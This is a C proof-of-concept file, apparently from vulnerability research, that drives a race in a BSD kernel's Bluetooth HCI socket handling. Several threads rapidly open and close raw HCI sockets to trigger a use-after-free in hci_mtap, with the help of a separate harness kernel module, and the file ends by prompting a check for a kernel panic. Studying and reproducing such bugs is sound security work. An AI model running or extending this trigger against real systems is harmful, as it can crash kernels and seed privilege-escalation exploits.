DF-0586 / poc_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 | /* * DF-0586 userspace driver (dense version): keep many HCI sockets open * concurrently to densely populate the global hci_pcb list, then rapidly * close+reopen them. This maximizes the chance that the harness's walker * thread (calling hci_mtap in a tight loop on another CPU) catches a pcb * in the brief window after hci_sdetach's LIST_REMOVE + kfree(pcb) and * before the slab re-uses the chunk. * * Build: cc -O2 -o poc_race poc_race.c -lpthread * Run: ./poc_race [secs] (load df0586_harness.ko first!) */ #include <sys/types.h> #include <sys/socket.h> #include <sys/sysctl.h> #include <netbt/bluetooth.h> #include <netbt/hci.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #ifndef SOCK_RAW #define SOCK_RAW 3 #endif #define BATCH 64 /* sockets held open per churner */ #define NCHURN 4 /* churner threads */ static volatile int stop = 0; /* * Churner: keep BATCH sockets open, then in a tight loop close one and open * a new one. This drives hci_sattach (insert) and hci_sdetach (remove+free) * at high frequency while keeping the list densely populated. */ static void * churner(void *arg) { unsigned long cycles = 0, errors = 0; int fds[BATCH]; int i; (void)arg; memset(fds, -1, sizeof(fds)); /* Pre-open BATCH sockets */ for (i = 0; i < BATCH; i++) { fds[i] = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (fds[i] < 0) errors++; } while (!stop) { /* pick a slot, close it, reopen it */ i = (cycles & (BATCH - 1)); if (fds[i] >= 0) { close(fds[i]); fds[i] = -1; } fds[i] = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (fds[i] < 0) errors++; else cycles++; } for (i = 0; i < BATCH; i++) if (fds[i] >= 0) close(fds[i]); fprintf(stderr, "churner %p: %lu close+reopen cycles, %lu errors\n", (void *)pthread_self(), cycles, errors); return NULL; } /* * Spammer: opens & immediately closes sockets as fast as possible (small * contribution to list churn; mainly exercises the attach/detach paths). */ static void * spammer(void *arg) { unsigned long n = 0; (void)arg; while (!stop) { int s = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (s >= 0) { close(s); n++; } } fprintf(stderr, "spammer %p: %lu open/close\n", (void *)pthread_self(), n); return NULL; } int main(int argc, char **argv) { pthread_t churn[NCHURN], spam[2]; int secs = 30, i; if (argc > 1) secs = atoi(argv[1]); if (secs < 1) secs = 30; fprintf(stderr, "DF-0586 dense driver: %d churners (%d socks each) + 2 spammers " "for %ds. Load df0586_harness.ko first!\n", NCHURN, BATCH, secs); for (i = 0; i < NCHURN; i++) pthread_create(&churn[i], NULL, churner, NULL); for (i = 0; i < 2; i++) pthread_create(&spam[i], NULL, spammer, NULL); for (i = 0; i < secs; i++) sleep(1); stop = 1; __sync_synchronize(); for (i = 0; i < NCHURN; i++) pthread_join(churn[i], NULL); for (i = 0; i < 2; i++) pthread_join(spam[i], NULL); /* Read harness counters */ unsigned long wc = 0, kc = 0; size_t sz = sizeof(wc); sysctlbyname("kern.df0586.wcycles", &wc, &sz, NULL, 0); sysctlbyname("kern.df0586.kcycles", &kc, &sz, NULL, 0); fprintf(stderr, "DF-0586 dense driver done. harness: wcycles=%lu " "kcycles=%lu. Check boot.log for panic in hci_mtap.\n", wc, kc); return 0; } |